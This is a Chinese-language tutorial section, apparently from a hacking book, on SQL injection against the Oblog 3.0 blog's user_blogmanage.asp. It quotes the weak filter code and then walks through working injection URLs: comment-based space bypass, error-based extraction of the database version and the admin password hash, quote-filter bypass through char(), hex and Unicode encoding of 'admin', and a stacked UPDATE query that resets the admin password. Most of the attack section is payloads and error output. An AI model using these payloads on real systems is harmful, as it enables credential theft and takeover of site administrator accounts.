3.3 char字符转换与单引号突破
在程序经过单引号过滤时,要继续进行SQL脚本注入攻击其实是很简单的,方法很多,比如本节要介绍的将单引号字符转换成为ASCII码以突破过滤。
这里以Oblog博客程序为例,介绍通过char函数转换单引号字符串,突破过滤进行注入攻击的方法。
3.3.1 \0与单引号的过滤
Oblog是一套应用非常广泛的博客程序,在其中也曾因为注入过滤不严的问题,导致SQL脚本注入攻击。存在漏洞的版本是“Oblog 3.0”,其漏洞文件是“user_blogmanage.asp”,用记事本打开该文件,在其中可以看到如下代码:
id=oblog.filt_badstr(trim(Request("id"))) …………代码省略……………… sub moveblog() if id="" then oblog.adderrstr("请指定要移动的日志") oblog.showusererr exit sub end if dim subjectid subjectid=trim(request("subject")) if subjectid="" then oblog.adderrstr("请指定要移动的目标专题") oblog.showusererr
exit sub else subjectid=Clng(subjectid) end if if instr(id, ", ")>0 then id=replace(id, " ", "") sql="Update [oblog_log] set subjectid="&subjectid&" where logid in (" & id & ")"&wsql else sql="Update [oblog_log] set subjectid="&subjectid&" where logid=" & id &wsql end if oblog.Execute sql …………代码省略……………… end sub
可以看到,在上面的代码段中,参数ID用来指定日志,在其中,对ID进行了简单的过滤,过滤代码为(图46):
if instr(id, ", ")>0 then id=replace(id, " ", "") sql="Update [oblog_log] set subjectid="&subjectid&" where logid in (" & id & ")"&wsql else sql="Update [oblog_log] set subjectid="&subjectid&" where logid=" & id &wsql
图46 空格过滤
上面这段代码是用来实现blog日志移动操作的,很显然,在这里只对Blog日志的ID参数进行了简单的空格过滤,然而就代入了SQL语句进行查询。但是在代码最上部分,可以看到还有一条过滤语句:
id=oblog.filt_badstr(trim(Request("id")))
这才是最重要的过滤部分,使用了oblog.filt_badstr函数对ID进行过滤。该函数是定义于“inc”目录下的“class_sys.asp”文件中,打开该文件,可以看到函数代码如下:
public function filt_badstr(str) If Isnull(Str) Then filt_badstr = "" Exit Function End If Str = Replace(Str, Chr(0), "") filt_badstr = Replace(Str, "' ", "' ' ") end function
图47 过滤函数代码
在这个过滤函数中,只对“\0”和单引号进行了过滤,根据前面介绍的单引号过滤绕过方法,可以肯定这个过滤是不完全的,因此完全存在SQL脚本注入漏洞。
3.3.2 char再次绕过单引号
在本地搭建一个OBlog3.0网站进行注入检测,目标网址为“http://www.binghexijian.com.cn/”。
首先,需要注册一个用户名并登录博客,这里注册的用户名为“xiaoyao”,随便发布一篇新日志,并添加一个分类。然后进入博客管理页面,单击“日志归档”→“归档管理”,对刚才发布的新日志进行管理(图48)。
先暂时不要单击【执行】按钮,现在可以在当前窗口地址栏中输入如下地址进行提交:
http://www.binghexijian.com.cn/user_blogmanage.asp? action= Move&subject=1&id=1/**/and/**/1=1
图48 日志管理页面
在这里使用了and 1=1进行漏洞检测,由于程序已经过滤了空格,因此在检测语句中加入了/**/代替空格。页面返回正常信息“更新专题成功”(图49)。
图49 and 1=1
继续提交检测语句:
http://www.binghexijian.com.cn/user_blogmanage.asp? action= Move&subject=1&id=1/**/and/**/1=2)--
返回了错误信息,因此确定此处存在SQL注入漏洞。
由于是SQL数据库,因此可以利用SQL数据库的几个系统变量进行检测。执行如下语句:
http://www.binghexijian.com.cn/user_blogmanage.asp? action= Move&subject=1&id=@@version)--,
这就报出了系统信息。可知当前系统是XP SP2(图50)。
图50 报出系统信息
同样,可以报出当前数据库名、连接用户名及权限,不过这里直接查询管理员的密码。执行如下查询:
http://www.binghexijian.com.cn/user_blogmanage.asp? action= Move&subject=1&id=1/**/and/**/1=(select/**/password/**/from/ **/Oblog_admin/**/where/**/id=1)--
返回了错误信息:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07'
将nvarchar值 ’469e80d32c0559f8’ 转换为数据类型为int的列时发生语法错误。
/inc/class_sys.asp,行 133
很显然,这里通过将不同类型的数据比较,出错报出了数据内容,错误信息中的“469e80d32c0559f8”,就是管理员表“Oblog_admin”中ID为1的用户的密码加密密文(图51)。该用户也既是管理员用户。
如果知道管理员用户名,也可以直接指定用户名进行查询,假设用户名为“admin”,可提交如下链接:
http://www.binghexijian.com.cn/user_blogmanage.asp? action= Move&subject=1&id=1/**/and/**/1=(select/**/password/**/from/ **/Oblog_admin/**/where/**/username=' admin' )--
图51 报出管理员密码
但是,由于单引号被过滤,在查询语句中包含有“' admin' ”,因此返回信息会提示语法不正确(图52):
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14'
第1行: ' admin’ 附近有语法错误。
/inc/class_sys.asp,行 133
图52 出错信息
因此,需要将单引号中的内容进行编码转换,这里将admin转换为ASCII码,再用相应的字符转换函数将ASCII码进行还原,即可绕过单引号的过滤了。
例如,这里admin的ASCII码为:
97 100 109 105 110
可用进行提到的转换工具进行转换(图53)。因此,可以利用“char(97)%2Bchar(100)%2Bchar(109)%2Bchar(105)%2Bchar(110)”代替“admin”。因此,构造如下语句进行注入:
http://www.binghexijian.com.cn/user_blogmanage.asp? action= Move&subject=1&id=1/**/and/**/1=(select/**/password/**/from/ **/Oblog_admin/**/where/**/username=char(97)%2Bchar(100)% 2Bchar(109)%2Bchar(105)%2Bchar(110))--
图53 转换admin编码
当然,也可以转换为16进制,转换后为“0x61646D696E”,因此可构造提交注入语句如下:
http://www.binghexijian.com.cn/user_blogmanage.asp? action= Move&subject=1&id=1 and 1=(select password from Oblog_admin where username=char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0
x69)%2Bchar(0x6e))--
另外,还可以将admin转换为SQLEN代码,同样可以利用上面提到的工具进行转换,转换后代码为:
0x610064006D0069006E00
因此可提交构造链接为:
http://www.binghexijian.com.cn/user_blogmanage.asp? action= Move&subject=1&id=1/**/and/**/1=(select/**/password/**/from/ **/Oblog_admin/**/where/**/username=0x610064006D0069006E00)--
上面的3种转换方法效果都是一样的,返回页面信息提示都为:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07' 将 nvarchar 值 ’469e80d32c0559f8’ 转换为数据类型为 int 的列时发生语法错误。 /inc/class_sys.asp,行 133
也就说明成功地报出了用户名为“admin”的密码MD5加密密文(图54)。
图54 使用代码转换绕过过滤
如果要修改管理员密码的话,也同样可以用前面提到的Update查询进行更新。例如,这里要将管理员密码修改为“123456”,同样先要对密码进行编码转换。
“123456”的16位MD5加密密文为“49BA59ABBE56E057”,转换为SQLEN代码为:
0x3400390042004100350039004100420042004500350036004500300035 003700
因此,可构造提交如下链接进行更新:
http://www.binghexijian.com.cn/user_blogmanage.asp? action=Move &subject=1&id=1; update [Oblog_admin] set password=0x3400390042 004100350039004100420042004500350036004500300035003700; --
更新成功后没有任何提示,但是管理员admin的密码已经被修改为“123456”了。同样,也可以转换为ASCII码的10进制或16进制进行Update查询更新。